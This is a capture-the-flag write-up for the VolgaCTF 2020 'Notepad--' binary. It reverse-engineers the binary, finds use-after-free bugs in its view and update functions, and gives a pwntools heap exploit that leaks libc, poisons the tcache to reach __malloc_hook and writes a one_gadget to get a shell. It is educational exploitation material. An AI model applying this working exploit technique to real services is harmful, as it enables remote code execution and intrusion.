Information

category : pwn

points : 300

Description

Notepad– is the app to store your most private notes, with an extremely

lightweight UI. Check it out!

1 file: notepad

nc notepad.q.2020.volgactf.ru 45678

Writeup

1

2

3

4

5

6

7

8

9

10

$ file notepad

notepad: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked,

interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, stripped



$ checksec --file=notepad

RELRO: FULL (No way to overwrite GOT to hijack functions )

STACK CANARY: YES (No easy way to do stack overflow)

NX: YES (No executable stack/heap)

PIE: YES (Address in the binary are randomized with ASLR)

FORTIFY: YES



64 bit ELF binary, all protections active, no useful symbols. We’re not given

the glibc used on the server, but we can try to guess it reading the strings of the binary:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

$ rabin2 -zz notepad

[Strings]

nth paddr vaddr len size section type string

―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――

0 0x00000034 0x00000034 5 12 utf16le @8\t@\e

1 0x00000238 0x00000238 27 28 .interp ascii /lib64/ld-linux-x86-64.so.2

2 0x000004e9 0x000004e9 9 10 .dynstr ascii libc.so.6

3 0x000004f3 0x000004f3 14 15 .dynstr ascii __isoc99_scanf

[...]

22 0x00000593 0x00000593 9 10 .dynstr ascii GLIBC_2.7

23 0x0000059d 0x0000059d 9 10 .dynstr ascii GLIBC_2.4

24 0x000005a7 0x000005a7 11 12 .dynstr ascii GLIBC_2.2.5

[...]

84 0x00003010 0x00000000 40 41 .comment ascii GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0

[...]



Probably the binary is using glibc 2.27 (default on ubuntu 18.04).

Let’s launch the binary:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

./notepad

Welcome to Notepad--

Pick an existing notebook or create a new one

[p]ick notebook

[a]dd notebook

[d]elete notebook

[l]ist notebook

[q]uit



> a

Enter notebook name: nb_1



Pick an existing notebook or create a new one

[p]ick notebook

[a]dd notebook

[d]elete notebook

[l]ist notebook

[q]uit



> a

Enter notebook name: nb_2



Pick an existing notebook or create a new one

[p]ick notebook

[a]dd notebook

[d]elete notebook

[l]ist notebook

[q]uit



> a

Enter notebook name: nb_3



Pick an existing notebook or create a new one

[p]ick notebook

[a]dd notebook

[d]elete notebook

[l]ist notebook

[q]uit



> d

Enter index of a notebook to delete: 2



Pick an existing notebook or create a new one

[p]ick notebook

[a]dd notebook

[d]elete notebook

[l]ist notebook

[q]uit



> l # we can deduce that it shifts the notebooks when it deletes them

List of notebooks:

[1] nb_1

[2] nb_3



Pick an existing notebook or create a new one

[p]ick notebook

[a]dd notebook

[d]elete notebook

[l]ist notebook

[q]uit



> p

Enter index of a notebook to pick: 1

Operations with notebook "nb_1"

[a]dd tab

[v]iew tab

[u]pdate tab

[d]elete tab

[l]ist tabs

[q]uit



> a

Enter tab name: tab_1

Enter data length (in bytes): 4

Enter the data: aaaa



Operations with notebook "nb_1"

[a]dd tab

[v]iew tab

[u]pdate tab

[d]elete tab

[l]ist tabs

[q]uit



> a

Enter tab name: tab_2

Enter data length (in bytes): 8

Enter the data: bbbbb



Operations with notebook "nb_1"

[a]dd tab

[v]iew tab

[u]pdate tab

[d]elete tab

[l]ist tabs

[q]uit



> l

List of tabs:

[1] tab_1

[2] tab_2



Operations with notebook "nb_1"

[a]dd tab

[v]iew tab

[u]pdate tab

[d]elete tab

[l]ist tabs

[q]uit



> v

Enter index of a tab to view: 1

aaaa

Operations with notebook "nb_1"

[a]dd tab

[v]iew tab

[u]pdate tab

[d]elete tab

[l]ist tabs

[q]uit



> d

Enter index of tab to delete: 2



Operations with notebook "nb_1"

[a]dd tab

[v]iew tab

[u]pdate tab

[d]elete tab

[l]ist tabs

[q]uit



> l

List of tabs:

[1] tab_1



Operations with notebook "nb_1"

[a]dd tab

[v]iew tab

[u]pdate tab

[d]elete tab

[l]ist tabs

[q]uit



> v # no error trying to view a tab deleted.

Enter index of a tab to view: 2



Operations with notebook "nb_1"

[a]dd tab

[v]iew tab

[u]pdate tab

[d]elete tab

[l]ist tabs

[q]uit



Now let’s open the binary with cutter.

This is the main menu decompiled with r2ghidra-dec

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

void fcn.menu( void )

{

int64_t arg4;

undefined8 placeholder_1;

int64_t *placeholder_0;

int64_t in_FS_OFFSET;

int64_t var_90h;

int64_t var_8h;



var_8h = *( int64_t *)(in_FS_OFFSET + 0x28 );

arg4 = 0x10 ;

placeholder_0 = &var_90h;



while (arg4 != 0 ) {

arg4 = arg4 + -1 ;

*placeholder_0 = 0 ;

placeholder_0 = placeholder_0 + 1 ;

}

sym.imp. puts ( "Welcome to Notepad--" );

do {

sym.imp. puts ( "Pick an existing notebook or create a new one" );

sym.imp. puts ( "[p]ick notebook" );

sym.imp. puts ( "[a]dd notebook" );

sym.imp. puts ( "[d]elete notebook" );

sym.imp. puts ( "[l]ist notebook" );

sym.imp. puts ( "[q]uit

" );

sym.imp. printf ( 0x1a7e );

do {

do {

placeholder_0 = &var_90h;

placeholder_1 = 0x80 ;

sym.imp.fgets(placeholder_0, 0x80 , _reloc. stdin );

} while (( char )var_90h == '

' );

} while (( char )var_90h == '\r' );



switch (( char )var_90h) {

case 'a' :

fcn.add();

break ;

case 'd' :

fcn. delete (placeholder_0, placeholder_1,

( int64_t )*( int32_t *)(( uint64_t )(( int32_t )( char )var_90h - 0x61 ) * 4 + 0x1c54 ), arg4);

break ;

case 'l' :

fcn. list ();

break ;

case 'p' :

fcn.pick();

break ;

case 'q' :

sym.imp. putchar ( 10 );

if (var_8h != *( int64_t *)(in_FS_OFFSET + 0x28 )) {



sym.imp.__stack_chk_fail();

}

return ;

}

sym.imp. putchar ( 10 );

} while ( true );

}



Let’s start analyzing the add function:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

void fcn.add( void )

{

int64_t iVar1;

undefined8 book.notebooks.tabs;



if (_book.count == 0x10 ) {

puts ( "You\'ve reached the limit for notebooks! Delete some of the older once first!" );

} else {

iVar1 = _book.count * 0x818 ;

_book.count = _book.count + 1 ;

printf ( "Enter notebook name: " );

__isoc99_scanf( "%s" , book.notebook + iVar1);

}

return ;

}



Disassembly:

Basically we can add up to 16 notebook, and we can guess that each notebook is

0x818 = 2727 bytes long, so if we multiply the size of each notebook *

max numbers of notebook we know that the size of the book (collection of notebooks)

is 0x8180.

Wait, how do you defined in cutter book and notebooks?

To be able to defined the structure I used the Types windows of cutter and

from the Disassembly view I linked (Press L ) the structure book to 0x203040.

Analyzing the program I defined three structures:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23



struct tab {

char tab_name[ 16 ];

int64_t data_size;

char *data;

};

struct notebook {

char name_notebook[ 16 ];

int64_t count_tab;

struct tab tabs [64];

};

struct book {

int64_t count_notebooks;

char pad[ 24 ];

struct notebook notebooks [16];

};



struct tab_off {

int64_t pad;

char tab_name;

int64_t dat_size;

char *data;

};



We can see them from the Disassembly view:

Now let’s move on to the other functions

fcn.delete :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

void fcn. delete (undefined8 placeholder_0, undefined8 placeholder_1, undefined8 placeholder_2, int64_t arg4)

{

int64_t iVar1;

uint32_t uVar2;

int64_t iVar3;

undefined8 *puVar4;

undefined8 *puVar5;

int64_t in_FS_OFFSET;

uint8_t uVar6;

int32_t index;

int64_t index_buf;

int64_t var_8h;



uVar6 = 0 ;

iVar1 = *( int64_t *)(in_FS_OFFSET + 0x28 );

printf ( "Enter index of a notebook to delete: " );

fgets(&index_buf, 0x80 , _reloc. stdin );

uVar2 = atoi(&index_buf);

index = uVar2 - 1 ;

if ((index < 0 ) || (_book.count_notebooks <= index)) {

printf ( "Wrong notebook index %d

" , ( uint64_t )uVar2);

} else {

while (( int64_t )index < _book.count_notebooks + -1 ) {



iVar3 = 0x103 ;

puVar4 = (undefined8 *)(book.notebook + ( int64_t )(index + 1 ) * 0x818 );

puVar5 = (undefined8 *)(book.notebook + ( int64_t )index * 0x818 );

while (iVar3 != 0 ) {

iVar3 = iVar3 + -1 ;

*puVar5 = *puVar4;

puVar4 = puVar4 + ( uint64_t )uVar6 * 0x1ffffffffffffffe + 1 ;

puVar5 = puVar5 + ( uint64_t )uVar6 * 0x1ffffffffffffffe + 1 ;

}

index = index + 1 ;

}

_book.count_notebooks = _book.count_notebooks + -1 ;

}

if (iVar1 == *( int64_t *)(in_FS_OFFSET + 0x28 )) {

return ;

}



__stack_chk_fail();

}



fcn.list :

1

2

3

4

5

6

7

8

9

10

11

12

void fcn. list ( void )

{

int64_t index;



puts ( "List of notebooks:" );

index = 0 ;

while (( int32_t )index < _book.count_notebooks) {

printf ( "[%d] %s

" , ( uint64_t )(( int32_t )index + 1 ), book.notebook + ( int64_t )( int32_t )index * 0x818 );

index = ( int32_t )index + 1 ;

}

return ;

}



Ok so far so good, the decompiler is a little confused, but we can see that there

are various overflow inside the book structure "%s" . Now we need to check the pick

functions.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

void fcn.pick( void )

{

int64_t iVar1;

uint32_t uVar2;

int32_t iVar3;

int64_t in_FS_OFFSET;

int64_t index_buf;

int64_t var_8h;



iVar1 = *( int64_t *)(in_FS_OFFSET + 0x28 );

printf ( "Enter index of a notebook to pick: " );

fgets(&index_buf, 0x80 , _reloc. stdin );

uVar2 = atoi(&index_buf);

real_index = uVar2 - 1 ;

if ((real_index < 0 ) || (_book.count_notebooks <= real_index)) {

printf ( "Wrong notebook index %d

" , ( uint64_t )uVar2);

} else {

fcn.pick_menu((notebook *)(book.notebook + ( int64_t )real_index * 0x818 ));

}

if (iVar1 != *( int64_t *)(in_FS_OFFSET + 0x28 )) {



__stack_chk_fail();

}

return ;

}



It’s pretty simple, pick requires an index of a notebook (The notebook

list start at 1), and then it calls pick_menu :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

void fcn.pick_menu(notebook *arg1)

{

int64_t iVar1;

int64_t *piVar2;

int64_t in_FS_OFFSET;

int64_t var_98h;

int64_t var_90h;

int64_t var_8h;



var_8h = *( int64_t *)(in_FS_OFFSET + 0x28 );

iVar1 = 0x10 ;

piVar2 = &var_90h;

while (iVar1 != 0 ) {

iVar1 = iVar1 + -1 ;

*piVar2 = 0 ;

piVar2 = piVar2 + 1 ;

}

do {

sym.imp. printf ( "Operations with notebook \"%s\"

" , arg1);

sym.imp. puts ( "[a]dd tab" );

sym.imp. puts ( "[v]iew tab" );

sym.imp. puts ( "[u]pdate tab" );

sym.imp. puts ( "[d]elete tab" );

sym.imp. puts ( "[l]ist tabs" );

sym.imp. puts ( "[q]uit

" );

sym.imp. printf ( 0x1a7e );

do {

do {

sym.imp.fgets(&var_90h, 0x80 , _reloc. stdin );

} while (( char )var_90h == '

' );

} while (( char )var_90h == '\r' );



switch (( char )var_90h) {

case 'a' :

fcn.pick_add(arg1);

break ;

case 'd' :

fcn.pick_delete(arg1);

break ;

case 'l' :

fcn.pick_list(arg1);

break ;

case 'q' :

sym.imp. putchar ( 10 );

if (var_8h != *( int64_t *)(in_FS_OFFSET + 0x28 )) {



sym.imp.__stack_chk_fail();

}

return ;

case 'u' :

fcn.pick_update(arg1);

break ;

case 'v' :

fnc.pick_view(arg1);

}

sym.imp. putchar ( 10 );

} while ( true );

}



As usual we have a menu, but with more options, remember that all the pick_

functions have as parameter the pointer to the notebook chosen from pick.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

void fcn.pick_add(notebook *arg1)

{

int64_t iVar1;

undefined8 uVar2;

tab *ptVar3;

int64_t in_FS_OFFSET;

notebook *notebook_ptr;

int64_t tab_name_1;

int64_t tab_name_2;

int64_t data_size;

int64_t data;

int64_t canary_cookie;



iVar1 = *( int64_t *)(in_FS_OFFSET + 0x28 );



if (arg1->tabs[ 0 ].data_size == 0x40 ) {

sym.imp. puts ( "You\'ve reached the limit of tabs! Delete some of the older tabs to add a new one!" );

} else {

sym.imp. printf ( "Enter tab name: " );

sym.imp.__isoc99_scanf(str._s, &tab_name_1);

sym.imp. printf ( "Enter data length (in bytes): " );

sym.imp.__isoc99_scanf(str._ld, &data_size);

sym.imp. printf ( "Enter the data: " );

uVar2 = sym.imp. malloc (data_size);

sym.imp. read ( 0 , uVar2, data_size);







ptVar3 = arg1->tabs + arg1->tabs[ 0 ].data_size;







*( int64_t *)(ptVar3->tab_name + 0x18 ) = tab_name_1;

*( int64_t *)(ptVar3->tab_name + 0x20 ) = tab_name_2;



*( int64_t *)(ptVar3->tab_name + 0x28 ) = data_size;



*(undefined8 *)(ptVar3->tab_name + 0x30 ) = uVar2;



arg1->tabs[ 0 ].data_size = arg1->tabs[ 0 ].data_size + 1 ;

}

if (iVar1 != *( int64_t *)(in_FS_OFFSET + 0x28 )) {



sym.imp.__stack_chk_fail();

}

return ;

}



Ok here there are troubles, the decompiler doesn’t decompile correctly the function.

But we can understand the code from the disassembly:

Basically the decompiler doesn’t recognize correctly the structure. One thing to

keep in mind is that each tab of the notebook is 32 bytes large ( shl rdx, 5 ) and

that the compiler to align correctly the structures always does a *32 + 0x10 + 8.

Why?

In memory the structure is:

1

2

3

4

5

6

7

8

9

10

11

12

memory addr

char name_notebook[ 16 ] | 16 0x10

int64_t count_tab | 24

char tab_name[ 16 ] | 40

int64_t data_size | 48

char *data | 56

chat tab_name[ 16 ] | 72

int64_t data_size | 80

char *data | 88

chat tab_name[ 16 ] | 104

int64_t data_size | 112

char *data | 120



So if we take the start address and add 32 * count we end up in the middle of

tab_name (tab_name[8]), then the program add 0x10 to go into the data of a tab,

and then it start adding stuff to the next tab using an offset of 8 (this compilation sucks).

Disassembly code:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

0x00000b34 lea rdi, str.Enter_tab_name: ; 0x18ca ; "Enter tab name: " ; const char *format

0x00000b3b mov eax, 0

0x00000b40 call sym.imp.printf ; int printf(const char *format)

0x00000b45 lea rax, [tab_name_1]

0x00000b49 mov rsi, rax

0x00000b4c lea rdi, str._s ; 0x18db ; "%s" ; const char *format

0x00000b53 mov eax, 0

0x00000b58 call sym.imp.__isoc99_scanf ; int scanf(const char *format)

0x00000b5d lea rdi, str.Enter_data_length__in_bytes_: ; 0x18e0 ; "Enter data length (in bytes): " ; const char *format

0x00000b64 mov eax, 0

0x00000b69 call sym.imp.printf ; int printf(const char *format)

0x00000b6e lea rax, [tab_name_1]

0x00000b72 add rax, 0x10

0x00000b76 mov rsi, rax

0x00000b79 lea rdi, str._ld ; 0x18ff ; "%ld" ; const char *format

0x00000b80 mov eax, 0

0x00000b85 call sym.imp.__isoc99_scanf ; int scanf(const char *format)

0x00000b8a lea rdi, str.Enter_the_data: ; 0x1903 ; "Enter the data: " ; const char *format

0x00000b91 mov eax, 0

0x00000b96 call sym.imp.printf ; int printf(const char *format)

0x00000b9b mov rax, qword [data_size]

0x00000b9f mov rdi, rax ; size_t size

0x00000ba2 call sym.imp.malloc ; void *malloc(size_t size)

0x00000ba7 mov qword [data], rax

0x00000bab mov rax, qword [data_size]

0x00000baf mov rdx, rax ; size_t nbyte

0x00000bb2 mov rax, qword [data]

0x00000bb6 mov rsi, rax ; void *buf

0x00000bb9 mov edi, 0 ; int fildes

0x00000bbe call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)

0x00000bc3 mov rax, qword [notebook_ptr]

0x00000bc7 mov rdx, qword [rax + 0x10] ; rdx = notebook_ptr->count_tab

0x00000bcb mov rax, qword [notebook_ptr]

0x00000bcf shl rdx, 5 ; rdx = count_tab * 32

0x00000bd3 add rax, rdx ; rax = notebook_ptr+(count_tab * 32), aligned with tab_name[8]

0x00000bd6 lea rcx, [rax + 0x10] ; rcx = netbook_ptr->tabs[count_tab-1].data

0x00000bda mov rax, qword [tab_name_1]

0x00000bde mov rdx, qword [tab_name_2]

0x00000be2 mov qword [rcx + 8], rax

; rcx + 8 = next_tab

; next_tab->tab_name = tab_name_1 + tab_name_2

0x00000be6 mov qword [rcx + 0x10], rdx

0x00000bea mov rax, qword [data_size]

0x00000bee mov rdx, qword [data]

0x00000bf2 mov qword [rcx + 0x18], rax ; next_tab->data_size = data_size

0x00000bf6 mov qword [rcx + 0x20], rdx ; next_tab->data = data

0x00000bfa mov rax, qword [notebook_ptr]

mov rax, qword [rax + 0x10]

0x00000c02 lea rdx, [rax + 1] ; notebook_ptr->count_tab++;

0x00000c06 mov rax, qword [notebook_ptr]

0x00000c0a mov qword [rax + 0x10], rdx

0x00000c0e mov rax, qword [canary_cookie]

0x00000c12 xor rax, qword fs:[0x28]

0x00000c1b je 0xc22

0x00000c1d call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)

0x00000c22 leave

0x00000c23 ret



So it’s pretty obvious that the decompiler is confused, we can fix the decompiler

view using a fake tab struct:

1

2

3

4

5

6

7

8

9

10

11

struct notebook {

char name_notebook[ 16 ];

int64_t count_tab;

struct tab_off tabs [64];

};

struct tab_off {

int64_t pad;

char tab_name;

int64_t dat_size;

char *data;

};



However I opted to leave the things as they are in the disassembly.

This is the cleaner version of add:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

void fcn.pick_add(notebook *arg1)

{

int64_t iVar1;

undefined8 uVar2;

tab *ptVar3;

int64_t in_FS_OFFSET;

notebook *notebook_ptr;

int64_t tab_name;

int64_t data_size;

int64_t data;

int64_t canary_cookie;



iVar1 = *( int64_t *)(in_FS_OFFSET + 0x28 );

if (notebook_ptr->count_tab == 0x40 ) {

puts ( "You\'ve reached the limit of tabs! Delete some of the older tabs to add a new one!" );

} else {

printf ( "Enter tab name: " );

__isoc99_scanf( "%s" , &tab_name);

printf ( "Enter data length (in bytes): " );

__isoc99_scanf( "%ld" , &data_size);

printf ( "Enter the data: " );

data = malloc (data_size);

read ( 0 , data, data_size);

next_tab = notebook_ptr->tabs[notebook_ptr->count_tab];

next_tab->tab_name = tab_name;

next_tab->data_size = data_size;

next_tab->data = data

notebook_ptr->count_tab++;

}

if (iVar1 != *( int64_t *)(in_FS_OFFSET + 0x28 )) {



__stack_chk_fail();

}

return ;

}



Clean version of pick_delete :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

void fcn.pick_delete(notebook *arg1)

{

tab *ptVar3;

tab *ptVar4;

int64_t in_FS_OFFSET;

int64_t notebook_ptr;



var_8h = *( int64_t *)(in_FS_OFFSET + 0x28 );

iVar5 = 0x10 ;

piVar6 = &index_buffer;

printf ( "Enter index of tab to delete: " );

fgets(&index_buffer, 0x80 , _reloc. stdin );

uVar2 = atoi(&index_buffer);

real_index = uVar2 - 1 ;

if ((real_index < 0 ) || (notebook_ptr->count_tab <= real_index)) {

printf ( "Wrong tab index %d

" , ( uint64_t )uVar2);

} else {

free (notebook_ptr->tabs[real_index].data);

while (real_index < notebook_ptr->count_tab -1 ) {























shift_tabs();

real_index = real_index + 1 ;

}

notebook_ptr->count_tab--;

}

if (var_8h != *( int64_t *)(in_FS_OFFSET + 0x28 )) {



__stack_chk_fail();

}

return ;

}



No null pointer after free, possible UAF.

Cleaner version of pick_view :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

void fnc.pick_view(notebook *arg1)

{

int64_t notebook_ptr = arg1;

printf ( "Enter index of a tab to view: " );

fgets(&index_buffer, 0x80 , _reloc. stdin );

uVar2 = atoi(&index_buffer);

real_index = uVar2 - 1 ;

if ((real_index < 0 ) || (notebook_ptr->count_tab < real_index)) {

printf ( "Wrong tab index %d

" , ( uint64_t )uVar2);

} else {

write ( 1 , notebook_ptr->tabs[real_index].data, notebook_ptr->tabs[real_index].data_size);

}

if (var_8h != *( int64_t *)(in_FS_OFFSET + 0x28 )) {



__stack_chk_fail();

}

return ;

}



Here there is a possible UAF (read primitive). Suppose that we have two tabs,

and then we delete the second one so it triggers the free on data . Now if we try

to view the second tab I send to pick_view index = 2, so it computes as

real_index = 1. The counter of tabs is 1, so it checks:

if(notebook_ptr->count_tab < real_index) = if (1 < 1) , which is false and so

we can read a freed block.

Cleaner version of pick_update :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

void fcn.pick_update( char *arg1)

{

printf ( "Enter index of tab to update: " );



fgets(& buffer , 0x80 , _reloc. stdin );

uVar1 = atoi(& buffer );

real_index = uVar1 - 1 ;

if ((real_index < 0 ) || (notebook_ptr->count_tab < real_index)) {

printf ( "Wrong tab index %d

" , uVar1);

} else {

notebook_ptr = notebook_ptr + ( int64_t )real_index * 0x20 ;

printf ( "Enter new tab name (leave empty to skip): " );

fgets(&tab_name, 0x80 , _reloc. stdin );

len_tab_name = strlen (&tab_name);

if ( 1 < real_index) {

tab_name[len_tab_name - 1 ] = 0 ;

strncpy (notebook_ptr->tab_name, &tab_name, 0x10 );

}

printf ( "Enter new data length (leave empty to keep the same): " );

fgets(&data_len, 0x80 , _reloc. stdin );

data_size_len = strlen (&data_len);

if ( 1 < data_size_len) {

data_size = atol(&data_len);

if (data_size != (notebook_ptr->tabs[real_index].data_size) {

notebook_ptr->tabs[real_index].data_size = data_size;

free (notebook_ptr->tabs[real_index].data);

new_data = malloc (notebook_ptr->tabs[real_index].data_size);

notebook_ptr->tabs[real_index].data = new_data;

}

}

printf ( "Enter the data: " );

read ( 0 , notebook_ptr->tabs[real_index].data, notebook_ptr->tabs[real_index].data_size);

}

if (var_8h != *( int64_t *)(in_FS_OFFSET + 0x28 )) {



__stack_chk_fail();

}

return ;

}



And here it is another off by one bug, in this case we can achieve a UAF

(write primitive), because as before it checks the counter with < instead of <= .

Attack

Before attacking the binary is a good idea to export the symbols to the binary,

to do that I used syms2elf. You need

to save the cutter project, and then:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

$ r2 notepad

-- Use V! to enter into the visual panels mode (dwm style)

[0x000009f0]> Po volga-ctf-notepad # open the project

Close current session? (Y/n) Y

eco: cannot open colorscheme profile (/home/meowmeow/CTF/volga/pwn/notepad/ayu)

afc: Unknown calling convention 'amd64' for 'linux'

See afcl for available types

[0x00000ab0]> $syms2elf notepad-syms

Exporting symbols to ELF...

ELF saved to: notepad-syms

[0x00000ab0]> afl

0x000009f0 1 42 entry0

0x000008f0 1 6 sym.imp.free

0x00000900 1 6 sym.imp.putchar

0x00000910 1 6 sym.imp.strncpy

0x00000920 1 6 sym.imp.puts

0x00000930 1 6 sym.imp.write

0x00000940 1 6 sym.imp.strlen

0x00000950 1 6 sym.imp.__stack_chk_fail

0x00000960 1 6 sym.imp.printf

0x00000970 1 6 sym.imp.read

0x00000000 3 459 -> 452 loc.imp._ITM_deregisterTMCloneTable

0x00000980 1 6 sym.imp.fgets

0x00000990 1 6 sym.imp.malloc

0x000009a0 1 6 sym.imp.setvbuf

0x000009b0 1 6 sym.imp.atol

0x000009c0 1 6 sym.imp.atoi

0x000009d0 1 6 sym.imp.__isoc99_scanf

0x000017b1 1 62 main

0x00000af0 5 154 -> 67 y.init0

0x00000ab0 5 58 -> 51 entry.fini0

0x00000a20 4 50 -> 40 fcn.00000a20

0x00001166 4 108 fcn.pick_list

0x00001442 4 117 fcn.add

0x000015ed 4 101 fcn.list

0x000008c0 3 23 fcn.000008c0

0x00001d2f 6 83 -> 94 fcn.00001d2f

0x00000afa 6 298 fcn.pick_add

0x00000c24 7 298 fcn.pick_view

0x00000d4e 12 614 fcn.pick_update

0x00000fb4 10 434 fcn.pick_delete

0x000011d2 17 414 000011d2

0x00001370 7 210 fcn.pick

0x000014b7 10 310 fcn.delete

0x00001652 16 351 00001652



This is very useful, because the binary is not PIE, so we can’t set arbitrary

breakpoint when debugging (now we can).

To debug the binary I used ubutu 18.04 in VM.

The attack is very simple:

Leak a libc address using a UAF (read). Write inside a free list (tcache) the address of malloc_hook. Send as data the address of one_gadget . Trigger another malloc.

To leak a libc address we can simply allocate 9 chunks of 0x80 bytes (the 9th

is used to not consolidate the 8th chunk with the top chunk once it’s freed),

and then free 8 of them.

The first 7 will go into the tcache, and the seventh will go into the unsorted

bin.

Why 0x80 ?

Because if not, the 8th freed chunk will go into the fastbin which has only a

forward pointer since it’s used as a LIFO list. The unsorted bin instead

is managed with a double circular linked list and the first element has a backward

pointer to the main_arena, and the main_arena (opposed to the other possible thread

arenas source code)

is inside the libc.

Now if we read the 8th freed chunk we get that backward pointer and from it we

can compute where malloc_hook and one_gadget are in memory.

Let’s do the first part:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71





from pwn import *



libc = ELF( '/lib/x86_64-linux-gnu/libc.so.6' )



def pick (index) :

p.sendlineafter( '> ' , 'p' )

p.readuntil( ': ' )

p.sendline(str(index))



def add (name) :

p.sendlineafter( '> ' , 'a' )

p.sendlineafter( ': ' , name)



def delete (index) :

p.sendlineafter( '> ' , 'd' )

p.sendlineafter( ': ' , str(index))



def list_nb () :

p.sendline( '> ' , 'l' )



def pick_add (name, data) :

p.sendlineafter( '> ' , 'a' )

p.readuntil( ': ' )

p.sendline(name)

p.readuntil( ': ' )

p.sendline(str(len(data)))

p.readuntil( ': ' )

p.sendline(data)



def pick_view (index) :

p.sendlineafter( '>' , 'v' )

p.readuntil( ': ' )

p.sendline(str(index))

return p.read( 8 )



def pick_update (index, name, data) :

p.sendlineafter( '> ' , 'u' )

p.sendlineafter( ': ' , str(index))

p.sendlineafter( ': ' , name)

p.sendlineafter( ': ' , str(len(data)))

p.sendlineafter( ': ' , data)



def pick_delete (index) :

p.sendlineafter( '> ' , 'd' )

p.sendlineafter( ': ' , str(index))



def pick_list () :

p.sendline( '> ' , 'l' )



def pick_quit () :

p.sendline( '> ' , 'q' )





p = gdb.debug( './notepad-syms' , 'b tab_view' )





context.log_level = 'DEBUG'



add( "first_nb" )

pick( 1 )



for i in range( 9 ):

pick_add( "aaaa" , chr(ord( "A" ) + i) * 0x80 )



for i in range( 9 , 1 , -1 ):

pick_delete(i)



main_arena_96 = u64(pick_view( 2 )[: 8 ])

log.info( f"main_arena_+96: {hex(main_arena_96)} " )



This is right before the print of the content of the tab:

As we can see it prints an address of the main_arena, let’s check the bins:

Then if we check what is around the leak address, we can spot the malloc_hook which

is at the address main_arena_+96 - 112

Now we can compute all the addresses in the libc:

1

2

3

4

malloc_hook = main_arena_96 - 112



libc.address = malloc_hook - libc.symbols[ '__malloc_hook' ]

one_gadget = libc.address + 0x10a38c



Now we need to clean out the tcache so:

1

2

for i in range( 8 ):

pick_add( "bbbb" , chr(ord( "A" ) + i) * 0x80 )



So now we have 9 tabs, we add one more tab with size 8 , we free it and then we overwrite

the data of the last freed tab with malloc_hook .

Bins before the update.

Bins after the udpate.

Now we add two more tabs, and the second one will have as address of data

the address of malloc_hook , we write in it the address of one_gadget .

At the next malloc, malloc_hook will be triggered

and we will get a shell.

1

2

3

4

5

6

7

8

9

10

11

12

13

pick_add( "cccc" , "S" * 0x8 )



pick_delete( 10 )



pick_update( 10 , 'dddd' , p64(malloc_hook))

log.info( "malloc_hook injected" )



pick_add( "fake" , "E" * 8 )



pick_add( "one_gadget" , p64(one_gadget))

log.info( "one_gadget plugged in" )

pick_add( "get shell" , "F" * 8 )

p.interactive()



Launch the exploit and…

Yeah got the flag.

Exploit

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96





from pwn import *



libc = ELF( './libc6_2.27-3ubuntu1_amd64.so' , checksec= False )



def pick (index) :

p.sendlineafter( '> ' , 'p' )

p.readuntil( ': ' )

p.sendline(str(index))



def add (name) :

p.sendlineafter( '> ' , 'a' )

p.sendlineafter( ': ' , name)



def delete (index) :

